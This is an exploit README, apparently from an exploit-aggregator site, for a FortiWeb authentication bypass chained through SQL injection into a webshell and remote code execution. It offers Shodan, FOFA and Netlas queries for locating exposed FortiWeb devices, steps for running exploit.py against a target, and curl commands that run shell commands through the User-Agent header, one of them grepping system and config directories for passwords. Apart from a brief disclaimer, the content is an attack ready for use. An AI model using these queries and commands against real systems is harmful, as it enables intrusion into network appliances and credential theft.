## https://sploitus.com/exploit?id=4AF57A84-FBF5-57A9-922F-6EA64B88DB59
# 🚨 FortiWeb Authentication Bypass → Remote Code Execution
## 📌 Overview
This repository demonstrates an **authentication bypass in FortiWeb** that can be chained to achieve **Remote Code Execution (RCE)**.
The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute commands through HTTP headers.
⚠️ **Disclaimer**:
This project is for **educational and research purposes only**.
Do **NOT** use against systems you don’t own or have explicit permission to test.
### Netlas FOFA and Shodan
```bash
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
```
## 🔎 Vulnerability Details
- **CVE**: CVE-2025-52970
- **Component**: FortiWeb Fabric API (`/api/fabric/device/status`)
- **Impact**: Authentication Bypass → SQL Injection → Webshell Upload → RCE
- **Vector**: Crafted `Authorization` header + SQL injection
-
## 🧑💻 Exploit Workflow
1. Drop and create temporary SQL table.
2. Write webshell payload in chunks.
3. Export shell to `/cgi-bin/x.cgi`.
4. Upload helper Python script to trigger permissions.
5. Access webshell by sending commands via `User-Agent` header.
## ⚙️ Usage
### 1️⃣ Clone Repo
```bash
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
```
3️⃣ Interact with Webshell
```bash
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
```